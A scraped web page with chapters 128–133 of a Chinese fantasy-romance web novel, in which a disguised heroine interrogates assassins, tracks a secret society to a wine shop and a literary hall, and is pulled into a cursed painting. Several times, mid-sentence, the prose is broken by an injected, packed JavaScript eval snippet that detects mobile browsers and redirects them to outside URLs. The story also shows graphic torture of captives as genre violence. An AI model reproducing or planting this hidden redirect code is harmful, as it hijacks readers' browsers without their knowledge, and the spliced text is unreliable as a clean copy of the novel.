二人有说有笑地朝客栈的方向走去,殊不知在他们看不见的地方,有一道黑影一闪而过。 回到客栈的时候,另外几人已经开始收拾行李准备离开。 见人群中多了两人,宋颜夕微微蹙眉:“蒋公子怎么也在此?” 蒋文彦腼腆一笑:“外祖父一直觉得我不务正业,见了师父后,倒是不再反对我行医了。他还让我跟着师父多学习呢。” 宋颜夕脑仁一疼:“别乱叫啊,我可不是你师父。” “我知道,就剩最后五个了嘛。师父您等着,不出三个月,我一定能达到一百个小目标。” 宋颜夕:…… 忽然不怎么想说话是怎么回事。 行至城门口,宋颜夕忽然回头,正好和另一道视线迎面相碰。 点头示意后,宋颜夕策马离开。 当天晚上,一行人在数十里之外的林子里安营扎寨。 午夜时分篝火忽然被风吹灭。 黑暗中,数把尖刀逼近他们所在的帐篷。 第128章:引蛇出洞 “嗤!” 那些人手中的刀还没来得及砍向帐篷,心口便插了一支长箭。 “怎么,可能?” 倒下的时候,那人眼中闪过不可置信之色。 宋颜夕等人压根就不在帐篷中,而是从他们背后走出。 那人倒下的时候,另外几个人也同时遭受了攻击。 左翼出手,快准狠,那些人几乎都是被一招毙命。唯独留下了两个活口。 “说,谁派你们来的?”宋颜夕看向其中一个黑衣人问道。 那人咬紧牙关不说话。 宋颜夕一个眼神,紫翎便在另一个黑衣人身上划了一刀。 黑衣人乙:??? 【我请问呢?】 宋颜夕又问:“再问你一遍,谁派你来的?” 黑衣人甲扬起下巴:“有种你就杀了我。” “啊!!” 是黑衣人乙发出的嚎叫声。 因为紫翎已经砍断了黑衣人乙的其中一根手指。 一旁的林昊和左翼默默后退一步。 这几个女人,太狠了。 同时,林昊又默默看了南宫景一眼。总觉得他们家王爷后半生的安全,堪忧呢! “说不说?”宋颜夕第三次提问。 黑衣人甲:“我是不会出卖主上的。” “啊啊啊啊——” 这次,黑衣人乙被砍下三根手指。 宋颜夕指着黑衣人乙:“你若不说,下一刀就会扎进他的心脏。” 黑衣人甲:“你就是杀了……” “啊,张老二,你这是存心要我命啊!” 还没等他说完,黑衣人乙就已经扑过**死掐住了黑衣人甲的脖子。 因为断了手指,他很快被黑衣人甲推开。 正要开口,黑衣人乙再一次扑了过去。这一次,他用嘴死死咬住了黑衣人甲的脖子。 用力之大,竟是直接将黑衣人甲咬死过去。 “他不说,我说!只求你饶我一命。” 因为嘴里还挂着血,一开口,鲜红的液体就顺着他的嘴角流了下来。 宋颜夕嫌弃地后退一步:“想活命?那就要看你能为我提供什么价值了。” 这人只是个负责办事的小兵,知道的事情不多。不过却也被他们挖出了一个有用的线索。 他的上线,是一个代号榔头的人。而他们接收任务的地点,就在旗胜酒坊。 旗胜酒坊是富商罗其生所开。分店遍布各地,最近的一家,便在平阳郡。 “看来,咱们要往南走了。” 他们连夜赶路,在第三天午后抵达平阳郡。 “这才是真正的江南水乡嘛,瞧瞧这水,看看这房子……多精致啊。” 宋颜夕穿了一身男装,打扮成俊俏公子哥,大冷天挥着一把扇子,把旁边的舒妤扇得直咳嗽。 一咳嗽,舒妤就站立不稳。每次都能精准倒在蒋文彦的怀中。 宋颜夕见此,那扇子舞得更卖力了。 紫翎和春分交换一个神色。 他们家姑娘真的太坏了。没看蒋公子的耳根子都红透了吗? 南宫景默默站在一边,摇头轻笑。以前怎么没发现,这丫头这么可爱呢? 就是在这样的氛围中,他们走进了旗胜酒坊。 根据那个**所说,有任务的时候,接头人会在酒坊的柜子上放一坛贴着红字的酒。 然后,他们再从酒坊后门柱子上的缝隙中领取任务单。 但是今天,柜子上并没有那个酒瓶。 “这旗胜酒坊,果真名不虚传呐。”宋颜夕意有所指。 南宫景将她面前的酒杯推到自己面前:“便是真有好酒,也不能贪杯。” “客官放心,我们店里的酒啊,可是清醇得很,就是多饮几杯也不会醉的。” 说话的是酒坊的小二,瞧着很年轻,一双眼睛却机灵得很。 宋颜夕单手托腮看他:“哦?还有喝不醉的酒?这个倒是新鲜呐。” “听诸位的口音,不是本地人吧?” 小二是个做买卖的能手,逮着机会就给他们介绍各种酒品。 就在他滔滔不绝地讲着的时候,宋颜夕问了一句:“听说,你们这有一款上好的女儿红?怎么不与我们推荐推荐?是怕咱们喝不起吗?” 小二愣了一下,随即开口解释:“客官想要的是那款酒啊,真是不巧,今儿个啊,售罄了。” “是吗?” 宋颜夕不再看他:“那可真是太遗憾了。” 随意点了几盅酒之后,店小二便忙着招呼其他客人了。 “看出来了吗?”宋颜夕问。 南宫景的目光看向店小二:“酒是好酒,可惜啊,人非善类。” 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15435967|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才可都瞧见了,提到女儿红的时候,店小二眼中闪过一道杀意。 看来,他们的身份已经暴露了。 那款女儿红,他们平日并不对外售卖。 “姑娘,可要我把他拿下?”紫翎跃跃欲试。 宋颜夕再次从南宫景面前将酒杯夺了回来:“一个小兵能问出什么?不急,咱们陪他,慢慢玩。” 离开酒坊之后,他们随意找了家客栈最下。然后又在城里吃喝玩乐了几天。 这会儿,一行人租了两艘竹筏,泛舟湖上。 冷风呼呼往脸上吹,飞起的衣摆像是发癫一般,直往人脸上糊。 最惨的就是舒妤了,她脸色惨白,分分钟都像是要被吹晕一般。 “这么多地方可以去,非要选在湖上。宋姑娘莫不是想冻死舒妤姑娘吧?” 林昊和左翼小声嘀咕。 宋颜夕瞥了他们一眼:“二位若是怜香惜玉,不如把身上的氅子解下来给佳人披上?” 林昊顿时把头摇的跟拨浪鼓似的:“这种事儿怎么轮得到我们呀?” 说罢,他还朝蒋文彦眨了眨眼。 点你呢,兄弟! 那边,蒋文彦已经迅速脱下氅子披在舒妤身上。 宋颜夕吹了声口哨:“你瞧瞧人家,多上道啊。你们这两个呆头鹅,也不知道照顾照顾我这两位妹妹。” 林昊看向紫翎和春分。 脑子里闪过紫翎**手指的那一幕。 这两位“妹妹”,可不需要他们的照顾。 经过这段时间的相处,他们已经完全不把这几位和女人画上等号了。 果然,紫翎立刻轻哼一声:“我们不需要男人的照顾。” 春分点头附和:“就是,只有弱者才会依附于男人。” 说完,她冷不丁打了个喷嚏。 她擤了擤鼻子,刚抬头,就见眼前多了件黑色氅子。 左翼脸上依旧没什么表情:“你们不需要男人,但需要氅子。” 那一刻,宋颜夕看到春分的脸红了一下。 正要开口,忽觉肩头一暖。 不用回头也知道,这是南宫景的氅子。 “别光顾着看热闹,注意脚下。” 南宫景的话音刚落,宋颜夕便觉得脚下一沉。 长刀刺破船底,竹筏被劈成两半。 “有刺客!” 第129章:听风馆 南宫景拉着宋颜夕稳稳落在竹竿上。 至于蒋文彦和舒妤,则分别被林昊和春分护着。 紫翎、左翼站在队伍的最前面,呈迎敌姿势。 这一次,对方派出足足二十多个**。 那些人全部黑巾蒙面,将他们团团围住。 “大手笔啊。” 宋颜夕拍了拍南宫景的手臂:“何二哥,你说,咱们到底得罪谁了?” 南宫景反问:“你说呢?” “自然是那位屠龙会的大当家啦。” “屠龙会”三个字一出,那些黑衣人的脸色就变了。 宋颜夕嘴角上扬。 看来,他们猜的没有错。 酒坊的那个店小二,就是屠龙会安插在平阳郡的接头人——榔头。 当天夜里,平阳郡多了几张生面孔。 旗胜酒坊后门,一道身影鬼鬼祟祟地趴在墙头。 没多久,黑暗中走来一个黑影。 那黑影在门口停留片刻之后,捡起地上的石子在墙角画了一个倒三角加一个剪头。 做完这一切,那黑影便转身离开。 在他离开之后,趴在墙头的人翻墙而下跟了上去。 月色下,那人的容貌暴露无遗。 正是酒坊的那个店小二。 “如何?”店小二问。 黑影一直背对着他,闻言也只是冷冷回了一句:“都解决了。” “那些人能找到酒坊,肯定是上次出任务的人当中出了叛徒。尊使有令,杀无赦。” 此话一出,那黑影明显抖了一下。 “都是自家兄弟,不必这么狠吧?” “怎么,你心软了?” 店小二的声音有些低沉,和白日里殷勤的模样大相径庭:“尊使还有一道指令,违命者,等同叛徒论处。” “我知道怎么做了。” 说完之后,那黑影便快步离开。 店小二没有看到,他藏在黑袍下的左手,丢了四根手指头。 “怎么样,我没说错吧?” 出了巷子之后,黑影面前出现了几个同样穿着黑衣,戴着斗篷的人。 那人沉默半晌,道:“我答应和你们合作。但我只是最底层的刺客,给不了你们太多线索。” “你可知,屠龙会总部所在?” 那人摇了摇头。 随即,又说道:“不过,有一个人或许知道。我可以带你们找到他。” 他说的那个人,是屠龙会平阳分舵的舵主,周舸。 得到消息之后,宋颜夕如约放走了那人。 南宫景:“真放了他?就不怕他反水?” 宋颜夕看向远方:“他不可能反水。” 话音刚落,就听见不远处传来一阵重物落地的声音。 “因为,我不会给他这个机会!” …… 屠龙会平阳分舵并不隐秘,相反,它甚至是设置在闹市之中。 看着那强劲有力的“听风馆”三个字,宋颜夕忍不住吐槽:“谁能想到,如此风雅之地,竟然是叛贼的窝点。” 听风馆,是平阳郡的文人墨客**之地。 为了不引人注意,今日前来的只有南宫景、宋颜夕、紫翎以及林昊四人。 而且,他们都易了容。 南宫景和宋颜夕扮作书生,紫翎、林昊则扮成书童。 进馆后,他们来到了一处凉亭。 亭中有两人在下棋。 那两人面对面坐着,虽看似在下棋,眼神却十份迷离。像是被什么困住了似的。 “这是残局吧?”宋颜夕问。 南宫景低声解释:“天龙残局。” 宋颜夕眨了眨眼:“这不就是柳如风在四国大会上破的那个?” 说起来,柳如风好像就是因为破了这个残局而名声大噪。 宋颜夕有些好奇,这残局究竟有多厉害,这都多少年过去了,竟然还有人痴迷此局? 她看向那残局,一边看,一边思考破局之法。 却不料,看着看着,脑子便开始变得昏昏沉沉。 若不是南宫景关键时刻拍了她的肩膀一下,她怕是也会和那两个人一样深陷其中。 “这残局竟还暗藏阵法!柳如风当年才十岁啊,到底是怎么破的?” 南宫景将她拉远了一些:“大概就是因为他当时还是个孩子。” 若是换做现在的柳如风,可就不一定能破局了。 正说着,不远处传来一阵争吵声。 走近了才知道,是两位书生在为了先有鸡还是先有蛋在争吵。 “这学术之争,也是颇为激烈啊。” 看他们吵得面红耳赤,宋颜夕差点都要冲上去按着他们的头打一架了。 有什么是打一架不能解决的呢? “你觉得先有鸡还是先有蛋?” 冷不丁,旁边响起南宫景的声音。 宋颜夕:“我不回答无解之题。” “我却觉得此题有解。” 宋颜夕看向他,显然是在等他的答案。 “鸡 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因为古画不能见强光,所以,钟楼四周的窗户都钉上了木板。 走进钟楼的那一刻,一股异味扑鼻而来。 “兄台稍等,我这便点灯。” 宋颜夕用手掌在眼前挥了挥,等烛光亮起,一幅长达数丈的画轴横亘眼前。 “我怎么觉得这画有些眼熟?”宋颜夕朝南宫景使了个眼色。 南宫景点头,用口型说了几个字。 正在此时,周健转身看向他们:“这便是那幅画了,二位兄台请便。” 说完之后,周健便离开了。 听风馆有个规矩,谁若能破解这幅画的奥秘,便可在馆中挑选任意一样珍藏带走。 听风馆的珍藏样样价值连城,是以,前来赏画的人络绎不绝。 只是这画似有邪气,每一个赏画之人在离开听风馆之后都会莫名暴毙。 因此这两年来赏画的人便也不多了。 周健离开之后,钟楼里便只剩下宋颜夕四人。 门被关上的那一刻,忽有一股冷风从画的方向吹来。 下意识朝那边看去,却见眼前一道白影闪过。 还没等她看清楚,便觉得眼前一黑。 一只手从画中伸出,精准无误地扣住了她的肩膀。 第130章:画中人 宋颜夕是被那只手拽到画中的。 而南宫景等人却仿佛没有察觉到一般,仍然站在那儿认真地“赏画”。 “紫翎,何越、林昊……能听到我说话吗?” 宋颜夕站在画中朝他们挥手。 然而,他们一点反应都没有。 “小羽啊,怎么还在这儿站着呢?起风了,咱们赶紧回屋吧!” 忽然,身后传来一道苍老的声音。 宋颜夕转身一看,却见眼前站着个头发花白的老婆婆。 她身穿黑蓝色镶花袄裙,头上戴着一顶羽毛发冠,皮肤像是被岁月揉皱的树皮,额间蜿蜒着靛蓝色的蛇形图腾,沉重的耳坠将耳垂拉成细长的月牙,衬得她的脖子格外修长。 “小羽?婆婆是在叫我吗?” 宋颜夕环顾四周,这周围除了她和婆婆之外,再也没有其他人了。 婆婆伸手在她额间弹了一下:“出去一趟,人都变傻了?你不是小羽,是谁呀?” 说着,她就用那双如树皮一般苍老的手抓住她的手腕。 肌肤相触的那一刻,一种怪异之感忽然涌上心头。 似乎,她从很早很早的时候,就已经被这双手牵着,走过无数个春秋。 宋颜夕甩了甩脑袋,一晃眼,已经被老婆婆拉进了屋子里。 这屋子的布局与她所见很不一样,屋子里摆放着一些兽骨、兽皮。 在屋子的最中间,还挖了个坑生着篝火,篝火上架着半只被扒了皮的动物躯干。 看起来,是个很原始的部落。 “来,喝杯奶暖暖身子。” 宋颜夕的手里被塞进一个厚重的石杯,里头盛放着乳白色液体,靠近嘴边的时候,一股膻味扑鼻而来。 “怎么不喝啊?” 见她没有动作,老婆婆开始催促。 她佯装撒娇,直接挽住婆婆的胳膊:“日日喝这些,我都腻了,还是外面的东西好吃。” 婆婆拍拍她的手:“你啊你,还真是玩野了。别忘记,明日就是祭司继任大典了,等你当了祭司,可就不许再这么任性了啊。” 祭司? 宋颜夕低头看了自己一眼,果然,她身上穿着的也是和婆婆相似的款式。 只不过,她的花色更鲜艳一些。 竟然连衣服都换了,所以,她现在真成了画中人? “小羽,婆婆跟你说话呢?你到底有没有在听?” “在听的在听的。” 宋颜夕回过神来,敷衍着应了几句就朝门口的方向走去。 她正想着要如何从画中出去,却不想,门一推,眼前的景象便又不一样了。 高高的祭坛上,婆婆正拿着一根法杖念念有词。 而此刻,法杖直接指向了她。 “小羽,快上去啊,该你出场了。” 两个年轻姑娘一左一右推着她,直接将她推上楼梯。 祭坛上用兽骨拼成一个复杂的图腾,从她的角度看去,像是一只振翅的凤凰。 刚刚走上祭坛,便有一股力量拖着她前进。 最终,她站到了“凤凰”的翅膀上。 婆婆嘴里说着她听不懂的咒语,那一刻,脚下的凤凰图腾似乎活过来了。 淡淡的红色光芒包裹着她,她虽然站在平地上,却感觉身体飞翔在空中。 她不知道仪式举行了多久,等到那“飞翔”的感觉消失时,她的额间多了一个蛇形图腾。 不过,她的图腾,是红色的。 仪式结束时,耳边忽然响起一道尖锐洪亮的鸣叫声。 她从未听过这声音,却本能地认为,这便是凤鸣。 随着凤鸣声起,那凤凰图腾忽然化作一道红光直冲天际。 祭坛下的人面露喜色,纷纷朝红光的方向跪拜,而宋颜夕也被这一幕惊得说不出话来。 待那红光消失,婆婆将一串七彩手串戴在她的手腕上。 珠子映射着红色光芒,抬眼时,她已经离开祭坛站在篝火旁。 方才那两个姑娘一左一右拉着她的手,围着篝火舞蹈。 年轻的男子们有节奏地拍打着用兽皮做的鼓。 听着鼓声,宋颜夕竟然也不由自主地跟上了节奏。 那一刻,她似乎忘了自己并非画中人。 歌舞正浓,天空突然发出一道惊雷。 无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442288|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数黑色雾气从天空中倾泻而下,仿若黑色的箭羽,要将人生生刺穿。 “魔煞族偷袭!大家快躲避。” 婆婆大喝一声,带领大家躲进了一处空旷的洞穴当中。 那洞穴似乎有阵法加持,那些黑气到了洞口便无法再前进,只是盘旋在洞穴上空。 很快,洞穴里便只剩漆黑一片。 这大概不是第一次了,已经有人摸着黑点上了蜡烛。 “婆婆,你脸色怎么这么差?” 借着微弱的烛光,宋颜夕看到婆婆嘴角未擦拭干净的血痕。 这洞穴里的阵法,恐怕都是靠婆婆一人支撑。 婆婆摇了摇头:“小羽啊,婆婆没事。你可千万别做傻事,知道吗?” 宋颜夕还没搞清楚她这句话的意思,洞外的黑气忽然散了一些。 一道黑色身影凌空出现在洞外。 “蓝殊婆婆,你都这么大年纪了,能护他们几时呢?” 那人的声音透着几分邪魅,整张脸被包裹在黑色斗篷之下,只露出半截白皙的下颌线。 “不如,就答应了本尊的条件。只要送本尊一个新娘,我魔煞族与你玉京族便算是姻亲了,这对你们玉京族来说,可是个大造化。” 宋颜夕也是此时才知道,原来这个部落叫玉京。 蓝殊婆婆冷哼一声,手中的权杖发出蓝色光芒:“苍桀恶贼,休想染指我族儿女。” 眼看她就要冲出去和那个叫苍桀的斗在一起,宋颜夕赶紧拉住她。 “这是激将法,婆婆不要中计。” “这小姑娘瞧着倒是有几分灵气。” 苍桀单手一挥,外面的黑雾便散了个干干净净。 隔着结界,他打量着宋颜夕,见到她额间的红色灵蛇图腾时,嘴角微勾。 “原来如此,怪不得......” 说着,他忽然单手一指,道:“就她了。三日后,本尊亲自来迎娶。” “恶贼,我是不会把小羽嫁给你的。” “原来你叫小羽啊。” 苍桀并不理会婆婆的歇斯底里,目光始终落在宋颜夕身上:“三天后见,我的,小新娘。” 第131章:画中人(二) 说完那句话之后,苍桀便消失了。 宋颜夕扯了扯嘴角,不知道为什么,她有一种很奇怪的感觉。 画中的世界并非循序渐进,她不过一个转身的功夫,眼前的场景就再一次发生了改变。 她不知道苍桀对玉京族做了什么,总之,她还是被带到了魔煞族的领地。 和她想象中不同,魔煞族并非一团黑气的炼狱。 相反,她的屋子外还盛开着大片大片的扶桑花,推开窗,两只小蝶正在花丛中翩翩起舞。 她身上只穿着一件红色的中衣,地上凌乱散着一些红布条,像是从婚服上被撕下来的。 可见,这屋子里一定发生了什么很激烈的事情。 “完全想不起来发生了什么啊” 宋颜夕揉了揉脑袋。 “夫人还是不肯用膳吗?” 门外的声音将她的思绪拉回。 她听出来了。这是,苍桀的声音。 所以,这画中人被强娶之后就一直在闹绝食吗? “吱呀~” 门被推开。 宋颜夕转身,正好和一对邪魅的眸子对上。 不过,也仅仅是一双眸子而已。这男人脸上戴了面具,她依旧看不清他的容貌。 “如果你想用绝食来威胁本尊,那你就错了。” 苍桀手中拿着托盘,进屋后,将托盘重重放在桌上,“本尊此生,最不怕的就是威胁。” 见宋颜夕只是盯着他,他便又说道:“你若还是......” 话还没说完,眼前忽然闪过一道红影。 转头的时候,宋颜夕已经坐在桌子前大快朵颐。 也不知道这画中之人究竟饿了几天,她现在只觉得头晕眼花,若是再不吃些东西进去,怕是真要成了这画中的饿死鬼了。 苍桀动了动嘴唇,最终还是将想好的那些“劝饭词”吞了下去。 他在宋颜夕对面坐下,饶有兴致地看着她:“夫人今日,有些不同。” “哪儿不同?”宋颜夕反问。 “说不上来,但总觉得,你,不是你。” 此话一出,宋颜夕干饭的动作一顿。 差点忘了这画中人是会玄术的,这男人,该不会看出什么了吧? “停下来作甚,继续吃啊。”苍桀催促。 宋颜夕也不跟他客气,直接将自己喂得饱饱的。 吃饱喝足之后,她将身子往后一靠。 爽啊。 一抬眸,正好和对面那人四目相对。 “那个,我......就是太饿了,我平时不这样的。” 宋颜夕倒不是真的想解释。只是如今困在画中出不去,总要稍微立一下人设。 “吃饱了吧?若是没吃饱,本尊可以再让人准备一份。” “啊?” 宋颜夕愣了一下。 随即又摇了摇头:“饱了饱了。” 很快就有丫鬟进来收拾碗筷。 等丫鬟退下之后,屋内就只剩下他们两人。 “想通了吗?”苍桀问。 宋颜夕虽不知他说的是什么,但想了想,左右不就是男女之间的那点事吗。 于是,她点头:“想通了。” 这男人实力太强,她只能先稳住他,再想办法从画中离开。 见她如此干脆,苍桀倒是有些不适应了。 不过因为戴着面具,宋颜夕看不到他的表情。 “既然如此,你换身衣服,随本尊来。” 他打了个响指,床榻上便出现了一套崭新的衣裙。 竟然还是玉京族的服饰。 宋颜夕看了他一眼,这男人似乎没有表面上看起来那么无情。 苍桀带着她来到一处冰蓝色的湖泊旁。 “走吧。” 说着,他率先朝湖面上走了过去。 见他在水面上如履平地,宋颜夕额角闪过几道黑线。 这画中世界,就是玄幻啊。 “怎么还不跟上。”苍桀并未回头。 她寻思着自己好歹也是玉京族的祭司,又曾经驭过“凤凰”,应该也是有些玄术在身上的。 于是,她放心大胆地踏上了湖面。 结果...... “噗通~~” 她像个失重的球体,以极快的速度朝湖底沉了下去。 苍桀听到声音回头的时候,水面上只剩下一圈一圈的涟漪。 宋颜夕是被苍桀直接捞上来的。 看着那个趴在地上疯狂吐水的女人,苍桀忍不住蹙眉:“玉京族竟然已经没落至此了吗?” 宋颜夕没有说话。 她现在只觉得脸烧得厉害。真的,很丢人啊。 半晌,男人幽幽吐出一口气:“罢了,这或许就是命数。” 他说的话,宋颜夕是听不懂的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442289|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人重新将她领回了住处,然后就消失了。 从头到尾,宋颜夕都不知道那冰蓝色湖泊的另一边究竟有什么。 她躺在床上翻了个身,却不料,手臂下竟然多了一个坚硬的胸膛。 画面跳得猝不及防,宋颜夕几乎是下意识的将那男人从床上踢了下去。 “小羽,你这是做什么?” 那男人长得唇红齿白的,模样十分俊俏。 不过宋颜夕见多了俊俏公子,眼前这位于她而言根本没有任何吸引力。 “你是何人?怎会在我榻上?”宋颜夕质问。 那人眼中闪过诧异之色:“我是君修远啊,小羽你忘了,咱们昨夜在皇天后土面前拜了堂。现在,你我已经是真正的夫妻了。” 拜堂? 宋颜夕蹙眉,这画中人不是已经和苍桀成亲了吗? 这个君修远又是从哪里蹦出来的? 见那男人又要来拉她的手,宋颜夕直接赏了他第二脚。 趁着君修远被她踢飞在地,宋颜夕迅速推门而出。 门打开的那一瞬间,一股冷风直接钻入了她的肌肤当中。 下一刻,她忽然腾地而起,整个人被一股霸道的力量禁锢在半空中。 很快,她的腰被一只手臂箍住。 “你不乖啊,夫人。” 又是那邪魅的声音。 只是这一次,邪魅中还带着一些,刺骨的冰凉。 “这个,我可以解释的。” 宋颜夕眼咕噜一转,道:“我失忆了,是君修远骗我跟他成亲。” “是吗?” 正在此时,君修远拿着弓箭从屋内冲了出来:“小羽你放心,我是不会让这恶魔带走你的。” “恶魔是吗?” 苍桀原本舒缓的声音又冷了几分。 还没等宋颜夕开口,君修远已经将弓箭对准苍桀的方向:“快放了小羽,否则,就别怪我不客气了。” “呵,就凭你?” 苍桀只是挥了挥衣袖,君修远就连人带箭被钉在墙壁上。 长箭刺穿了他的肩胛骨,迅速将他的素色衣裳染红。 献血溢出的那一刻,宋颜夕脑子忽然宕机了。 她的意识被抽离。 当眼前恢复清明,她手中的簪子已经刺进了苍桀的心口。 那一刻,她清楚看到男人眼中翻滚的怒意。 第132章:东海鲛珠 宋颜夕再次被带回魔煞族。 不过这一次,她并没有那么舒服的房间居住,而是被扔在了阴暗潮湿的地牢里。 “哎!” 不知道为什么,被关在地牢里之后,时间反倒循规蹈矩起来。 她真真切切地被关了一个月。 这一个月里,她切实体会到了阶下囚的滋味。 除了给她送餐的人之外,她再也见不到一个活物。 “怎么样才能出去呢?” 宋颜夕盘腿而坐,将这些日子的事情复盘了一遍。 最后,她生出一个念头。 “都说不破不立,若我烧了这幅画,是不是一切就都结束了?” 这一个月来,她想起了一些事情。 玉京族信奉蛇神,每一任祭司都是乘着“凤凰”而生。 是以,玉京族最基本的术法便是控火术。 而这控火术的咒语,“画中人”其实是知道的。 她尝试着按照脑海里那残缺不全的记忆比划着。 第一次,手指头冒出了一些黑烟。 第二次,黑烟变成枯萎的黑色花朵。 第三次,第四次...... 当指尖出现第一簇火苗的时候,宋颜夕脸上露出得意的笑。 她果真很有天赋。 没过多久,地牢里便开出了一朵朵赤红色的火焰之花。 “嘶~” 被火焰吞噬的时候,宋颜夕皱眉。 没想到,在画中竟然也能感到疼痛。 就在此时,她听到一声巨响。 地牢被一股蛮力轰炸开,透过火光,她仿佛看到一道黑影急切地朝她奔来。 …… “姑娘,姑娘?回神了。” 肩膀传来一阵刺痛感,宋颜夕猛地睁开眼。 刚睁眼就看到紫翎一脸担忧地看着她。 “小凤凰?” 宋颜夕直接跳出好几步,见自己身上没有火才长长吐出一口气。 “你从画中看到什么了?”这一次,是南宫景的声音。 宋颜夕这才发现,那幅画并没有被烧毁,依旧是之前见到的模样。 “我......” 宋颜夕欲言又止,最后,只问了一句:“我刚刚失去神智了?” 其他几人同时点头。 “所以,我一直都在这儿?”宋颜夕又问。 紫翎抓住她的手:“你一直都在啊,姑娘,你到底怎么了?” 宋颜夕摇了摇头:“大概是,做了一场梦吧。这画果然古怪得很,你们都小心些。” 南宫景沉着眸子没有说话。 他们在钟楼里又待了一会儿才离开。 刚走出钟楼,周健便迎了上来:“二位觉得,这画如何?” 南宫景摇头:“此画深奥,我等亦参不透。” 周健露出遗憾的表情:“连二位兄台也参不透吗?真是可惜。” 正说着,有个小厮打扮的人附在周健耳边说了几个字。 周健脸色微微一变,随即又对宋颜夕几人拱手道:“我们馆主想邀诸位一叙。” 听风馆的馆主,就是他们此行要找的人——周舸。 “听说诸位去钟楼赏画了?可有所得?” 见面后,周舸直奔主题。 “在下才疏学浅......” 宋颜夕刚开了个头,就被周舸打断:“哎?二位不必谦虚。周某一见二位就知道二位绝非凡人。” 说罢,他朝周健招了招手。 周健立刻捧着一个锦盒上前。 “听风阁有规矩,若有人参透那幅画,便可取走我听风馆的一样珍藏。这个,便是赠与二位的。” 盒子里躺着两块上好的古董玉佩,看光泽,至少也有百年之久。 “可我们并未参透。这珍品,我等不敢收。” 周舸脸色微变:“二位莫不是瞧不起周某?” “既然周馆主如此热情,在下也不藏着了。我的确从画中看出了一些东西。” 宋颜夕自然不会实话实说。 她随意扯了些东西,没想到,那周舸竟然还真的听得津津有味。 “兄台的意思是,那画瞧着像是藏宝图?” 宋颜夕点头:“是啊,我观那画的线条有些规律。周馆主请看......” 宋颜夕指尖沾了些水,在桌面上一通乱画。 没想到,周舸和周健越看,眼睛越亮。 身后,林昊和紫翎交换了一个眼神。 宋姑娘胡说八道的本事,还真是炉火纯青啊。 若非他们亲眼看到宋颜夕失魂的模样,还真以为她现在说的是真的了。 最后,宋颜夕凭借着三寸不烂之舌,让周舸出重金聘他们代为寻宝。 “姑娘,真有你的啊。” 回去的路上,紫翎默默对宋颜夕竖起大拇指。 林昊问了一句:“可咱们要去哪儿找宝藏啊?” 宋颜夕挑眉:“你们家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这是,送你们回老家的路。” 周健歪嘴一笑,月光透过树荫在他脸上投下一片阴影。 第133章:大不了欺负回去 两个时辰后,周健回到听风馆。 周舸还在摆弄那颗鲛珠,听到声音,头都没抬:“都解决了吗?” 周健低头应了一句:“今夜过后,这世上再无宋煜、宋衍。” “做得好!” 周舸将鲛珠放在眼前细细打量,一边看,一边点头:“不得不说,这鲛珠的成色是真好啊。咱们收着那幅画这么久,可算是破解了画中的秘密。” “既然宝贝已经到手,那幅画?” “毁了吧。” 想了想,周舸又补了一句:“对外就说是走水了。” 周健领着命令退下。 当天夜里,钟楼火光冲天,救火的人赶到现场时,那儿已经被烧得只剩下满地黑炭。 又过了几日,听风馆关了门。 “好端端怎么关门了呢?我还没破天龙残局呢?” “听说啊,馆主痛失至宝,病了。” “是因为那场火?” “要我说,那画毁了也是好事。那根本就是一幅邪画。你们都忘了之前暴毙的人了吗?” 众人议论纷纷,殊不知,他们口中那个“病了”的馆主已经乘坐马车赶往上京城。 “左翼伪装得够好的啊。” 树林里,宋颜夕、南宫景、紫翎、春分、林昊骑马远远跟着周舸的马车。 而左翼呢,则易容成周健随周舸一同进京。 至于蒋文彦? 在宋颜夕的安排下,直接被舒妤拖着留在了平阳郡。 “这算什么啊?想当年,咱们……” 话说到一半,林昊立刻住嘴。 这段时间和她们混熟了,差点说漏嘴。 “当年怎么样?听起来,你们有很多英雄事迹啊?”宋颜夕调侃。 林昊赶紧摆手:“都是一些难登大雅之堂的破事儿,不值一提,不值一提。” 众人一路说笑,距离上京城也是越来越近。 临近进城的时候,宋颜夕却犯了难。 她现在还是个“逃犯”,虽然易了容,但这上京城见过她的人多了,难免会露出破绽。 南宫景看出了她的担忧,直接撕下她脸上的**。 “你干嘛?”宋颜夕捂着脸问。 